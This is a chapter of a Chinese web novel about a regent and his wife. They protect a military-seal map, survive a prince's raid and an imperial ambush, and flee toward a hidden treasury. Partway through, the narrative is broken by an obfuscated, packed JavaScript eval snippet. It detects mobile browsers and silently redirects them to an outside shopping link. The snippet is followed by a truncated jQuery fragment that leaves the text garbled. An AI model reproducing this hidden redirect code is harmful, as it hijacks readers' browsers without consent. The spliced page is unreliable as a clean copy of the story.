文趣网 > 其他小说 > 摄政王的强制囚妻 > 63. 疯狂
    权峥凛松开环绕冷雪梅腰上的手臂,指尖先扶着她的肩头,避开伤口,将她稳稳扶回软榻坐好,眼神里多了几分临战前的沉敛。

    他直起身,指尖重新落回地图复刻卷,指腹顺着玄洞到戌库核心的路径,又细细描摹一遍,指节用力,将每一处机关、每一段路径细节,再次刻入心底。

    冷雪梅坐直身子,抬手将怀中的锦袋取出,打开袋口,指尖捏出戌库兵符原图,平铺案上,与复刻卷对齐。

    她指尖点向原图与复刻卷重合的朱砂标记处,指尖按压纸面,力道加重,留下一道清晰的印子。

    “戌库石龛机关,是子母扣,需同时转动左右两处旋钮,才能开启,晚一刻,兵符便会坠入密道,再难寻回。”

    权峥凛垂眸,目光落在子母扣标注位置,指尖敲了敲案面,敲击声节奏均匀,沉缓有力。

    他抬手将原图重新折好,放回冷雪梅手中的锦袋,指尖帮她拉紧袋口系带,系成死结,防止途中掉落。

    “锦袋贴身收好,不可离身,这原图比复刻卷更加紧要。”

    冷雪梅依言将锦袋塞入衣襟内侧,贴近心口,布料贴合肌肤,感受到图纸的硬挺触感。

    她抬手按了按衣襟,确认稳妥后方才收回手,指尖落向自己肩头纱布,轻轻扯了扯系带,检查伤口包扎是否牢固,避免行动时纱布松散,牵扯伤口。

    权峥凛站起身走到衣柜前,拉开柜门,取出两套玄色劲装,劲装材质轻薄坚韧,利于行动,袖口与裤脚都有束带,方便奔走。

    他将其中一套放置软榻,推到冷雪梅面前:“换上这个,行动方便,寝衣太过拖沓,易被牵绊。”

    冷雪梅拿起劲装,指尖抚过布料纹理,起身走到屏风后,麻利地换上劲装,束紧袖口与裤脚,长发用黑色发带高高束起,露出光洁的脖颈与侧脸,整个人褪去温婉,多了利落飒爽。

    走出屏风,冷雪抬手理了理劲装领口,权峥凛上前帮她将腰间的束带系紧,力道适中,既不勒身,又能固定衣料,指尖细致动作,刻意避开她的伤口。

    随后权峥凛自行换上另一套玄色劲装,肩胛处伤口被劲装轻轻包裹。

    他抬手扯了扯肩头布料,确认不会摩擦伤口,又将腰间短刃佩好,刃身藏匿鞘中,不外露锋芒,只在需要时能即刻出鞘。

    两人刚整理妥当,殿门外传来凌刀轻轻的叩门声,三声轻叩,节奏急促,是事先约定的紧急讯号。

    权峥凛眸色一沉,抬手示意冷雪梅站立原地,自己快步走到殿门前。

    他压低声音开口:“何事?”

    “王爷,七皇子府的暗卫出动了,拢共二十人,绕开王府正门,往凝梅院方向去了,看样子,是冲着密档柜里的兵符原图来的。”凌刀压低声音,透过门缝传入殿内,“属下的人已经跟上,不敢贸然阻拦,怕打草惊蛇。”

    权峥凛指尖扣住殿门把手,指节泛白,眸底闪过冷厉,转头看向冷雪梅,目光落向她衣襟内侧位置。

    权峥凛沉声道:“七皇子要偷兵符,想做最后反扑,他不知原图已藏匿在你身上,只盯着凝梅院的空密档柜。”

    冷雪梅脚步沉稳,走到权峥凛身侧,抬手按了按衣襟,确认锦袋安稳,指尖攥紧。

    冷雪峰冷静无波:“他算准我们今夜要动身去戌库,趁王府防备松懈,偷兵符夺权,想截胡我们的谋划。”

    权峥凛微微颔首,指尖松开殿门把手,转身走回案前,将两张地图收起,复刻卷塞入自己怀中,原图已在冷雪梅身上,无需多虑。

    他抬手拿起案角的短刃,握入掌心,刃身冰凉,沁入指尖。

    “将计就计,让他的人进凝梅院,我们暗中盯着,看他后续动作,老皇帝必定暗处看着,想等我们与七皇子两败俱伤,再一网打尽。”

    冷雪梅点头,走到窗边推开一条窗缝,窗外夜风带着初春寒意灌入。

    她目光望向王府西侧凝梅院方向,夜色浓重,看不清人影,只能隐约看到几道黑影快速窜过院墙,动作迅捷,直奔凝梅院而去。

    冷雪指尖扣住窗沿:“七皇子的人动作很快,已经进院了。”

    权峥凛走到她身侧,并肩站立窗边,抬手轻轻按住她扣着窗沿的手,力道沉稳,给她支撑。

    “不必焦急,凌刀的人守在凝梅院外,围而不攻,等七皇子现身,我们再动手,这一场兵符抢夺战,他注定是棋子。”

    话音刚落,凝梅院方向传来轻微的器物碰撞声,紧接着传来暗卫交手的闷哼声,穿透夜色,传入寝殿。

    权峥凛眸色一冷,握紧手中短刃:“七皇子的人找不到原图,开始乱翻密档柜了,凌刀的人动手阻拦了。”

    冷雪梅推开窗户,纵身跃出窗台,利落轻盈,落地时悄无声息。

    权峥凛紧随其后,反手关上窗户,两人并肩快步往凝梅院赶去,脚步轻快,踩着青石板。

    玄色劲装融入夜色,回廊间只剩两道迅捷身影穿梭。

    靠近凝梅院,便能看到院内灯火骤亮,七皇子的暗卫与凌刀的人缠斗在一起,刀光交错,拳脚相向,闷哼声接连不断,地上已经躺倒了几人,皆是七皇子的暗卫。

    院中央,七皇子身着锦袍,面色阴鸷,站立书柜前,看着被撬开的密档柜,柜内空空如也。

    他抬手狠狠砸向柜门,力道之大,指节泛红。

    七皇子怒吼道:“没用的东西,连一张图纸都找不到!”

    权峥凛拉着冷雪梅躲藏院外梅树后,两人紧贴树干,屏住呼吸,目光死死盯着院内动静,没立刻现身,以免打草惊蛇。

    冷雪梅靠在权峥凛身侧,肩头伤口因快速走动隐隐作痛。

    她抬手按住伤口,眉头微蹙,不声不响,指尖始终攥着衣襟,护住怀中的原图。

    权峥凛察觉到她的动作,抬手轻轻按住她的手背,示意她忍耐,目光落向七皇子,眸底冷意渐浓,他微微偏头,唇瓣贴近冷雪梅耳侧。

    权峥凛压低声音:“老皇帝的人就在院外的树林里,看着这场闹剧,等我们出去,他便会下令围杀,坐收渔翁之利。”

    冷雪梅点头,指尖轻轻拍了拍他的手背,示意知晓。

    她目光扫过院外树林,夜色浓重,看不清人影,却能感受到暗处潜藏的气息,冰冷肃杀。

    正是老皇帝的暗卫与禁卫,密密麻麻,将凝梅院围得水泄不通,只等时机一到,便会收网。

    院内缠斗还在继续,七皇子见久寻无果,又损失了多名暗卫,面色愈发狰狞,他拔出腰间佩剑,剑指凌刀。。

    七皇子厉声喝道:“让权峥凛出来!他藏了兵符图纸,以为能瞒天过海?今日我若拿不到兵符,便拉着你们所有人陪葬!”

    凌刀手持短刃,挡着密档柜,身姿挺拔,面色冷峻,抬手示意手下收紧包围圈,将七皇子与剩余暗卫困于院中,拖延时间,等待权峥凛的指令。

    躲藏梅树后的权峥凛见时机已到,轻轻拍了拍冷雪梅肩头,示意她在此等候,自己则握紧短刃,纵身跃入院内,落地时脚步沉稳。

    灯火下玄色劲装泛着冷光,他站立凌刀身侧,目光冷冷看向七皇子。

    权峥凛声音冷冽淬冰:“七皇子深夜闯摄政王府,盗抢密档,是想谋反吗?”

    七皇子转头看到权峥凛,眼中恨意滔天,举剑便朝他刺来,剑风凌厉,带着破釜沉舟的狠戾。

    “权峥凛,你别得意,兵符是皇家之物,你妄图私藏,本皇子今日便要替父皇清理门户!”

    权峥凛侧身避开剑锋,动作迅捷,短刃出鞘,刃身抵住七皇子的佩剑,将剑格挡开来,金属碰撞脆响划破夜空。

    他手腕翻转,短刃直指七皇子脖颈:“兵符关乎江山兵权,你也配碰?老皇帝给你的底气,就是让你做这送死的棋子?”

    七皇子被逼得连连后退,脚下踉跄,面色惨白,仍不肯认输,嘶吼着再次挥剑进攻,剩余暗卫也纷纷扑向权峥凛,场面一度混乱。

    冷雪梅在院外见状,纵身跃入院内,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722961|208753||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脚步轻快,绕到七皇子身后,抬手扣住他的手腕,夺下他手中佩剑,扔往地上。

    权峥凛趁机上前,短刃抵住七皇子脖颈,将人死死按住书柜上,七皇子动弹不得,挣扎着嘶吼:“放开我!我是皇子,你敢动我?父皇不会放过你的!”

    权峥凛眸色冰冷,短刃又凑近一分,划破七皇子脖颈肌肤,渗出血珠。

    “你偷兵符未遂,谋逆作乱,本王替天行道,有何不敢?”

    此时,院外树林中响起号角声,三声长鸣,正是老皇帝下令收网的讯号。

    紧接着,大批禁卫与暗卫从树林中冲出,将凝梅院团团围住,弓箭手搭弓拉箭,箭尖对准院内众人。

    老皇帝的贴身太监站立人群前,尖声喊道:“陛下有旨,摄政王权峥凛私藏兵符,七皇子谋逆作乱,一并拿下,格杀勿论!”

    箭雨倾泻而下,权峥凛一把将冷雪梅护持身后,短刃挥舞,挡开射来的箭矢。

    凌刀带着手下护在两人身前,形成防护圈,场面陷入混乱,箭雨、刀光、嘶吼声此起彼伏,紧张窒息的氛围达到顶峰。

    权峥凛护着冷雪梅,往后退至密档柜旁,背靠柜体,避开箭雨。

    他低头看向冷雪梅:“老皇帝的局,终于收网了,他等的就是这一刻,我们与七皇子相争,他坐山观虎斗,最后一网打尽。”

    冷雪梅靠着他身后,抬手按住肩头伤口,伤口因剧烈动作裂开,渗出血迹,染红劲装,她浑然不觉,指尖从怀中取出锦袋,打开拿出原图,递到权峥凛面前。

    “兵符原图在此,七皇子白忙一场,老皇帝的算盘,打空了。”

    权峥凛接过原图,快速扫过一眼,重新塞回她怀中,帮她拉紧衣襟,护住图纸。

    他握紧短刃,看向院外禁卫:“谢无妄的边军该到了,三声号角为号,我们突围,直奔戌库,取兵符,破老皇帝的局。”

    冷雪梅点头,抬手握紧腰间的短刃,与权峥凛背靠背站立。

    两人身姿挺拔,直面围拢过来的禁卫,周身气息沉稳,不曾有所退缩。

    院外远处,传来三声浑厚号角声,穿透夜空,正是谢无妄率边军赶到的讯号。

    号角声落下,边军喊杀声由远及近,冲向凝梅院,与老皇帝的禁卫缠斗不休。

    权峥凛见状,拉着冷雪梅的手,快步冲出包围圈,朝着王府侧门奔去。

    凌刀断后,阻拦追来的禁卫,两人一路狂奔,夜色在身后飞速倒退,星月清辉洒向身上,玄色身影转瞬消失夜色中。

    老皇帝的贴身太监看着两人离去的方向,气得跺脚,却被谢无妄的边军缠住,无法追赶,只能眼睁睁看着他们前往戌库。

    七皇子被乱军踩在脚下,动弹不得,看着权峥凛与冷雪梅离去方向。

    他眼中深沉愈发浓厚,他的反扑,终究成了空,成了老皇帝棋局里的弃子。

    打斗渐消,七皇子颤颤巍巍站起来,左手捂住脖颈渗出的血珠,微微偏头,轻佻眉梢,嘴角漾着一抹诡异笑意。

    权峥凛与冷雪梅一路奔至王府侧门,暗卫早已备好马匹,两人翻身上马,缰绳一扬,马匹朝着祖陵西侧的戌库狂奔而去,夜风呼啸,拂过耳畔,身后喊杀声渐渐远去。

    老皇帝端坐皇宫大殿内,听着下属传来密报,指尖敲击着龙椅扶手,面色阴沉,他看着窗外夜色。

    老皇帝嘴角勾起一抹冷笑:“权峥凛,冷雪梅,你们以为拿到原图,就能取走兵符?戌库才是真正的死局,朕等着你们,自投罗网。”

    奔往戌库的两人策马疾驰,身影没入祖陵的夜色中。

    两人策马至祖陵山脚下,翻身下马,牵着马匹走入密林,避开禁卫巡查,朝着玄洞入口摸索而去。

    冷雪梅按着肩头的伤口,脚步坚定沉稳,权峥凛始终牵着她的手,力道紧握,两人并肩前行,夜色浓重,前路凶险,却无人退缩。

    密林深处,玄洞入口隐没石壁之后,漆黑幽深,而兵符就藏匿洞内石龛之中。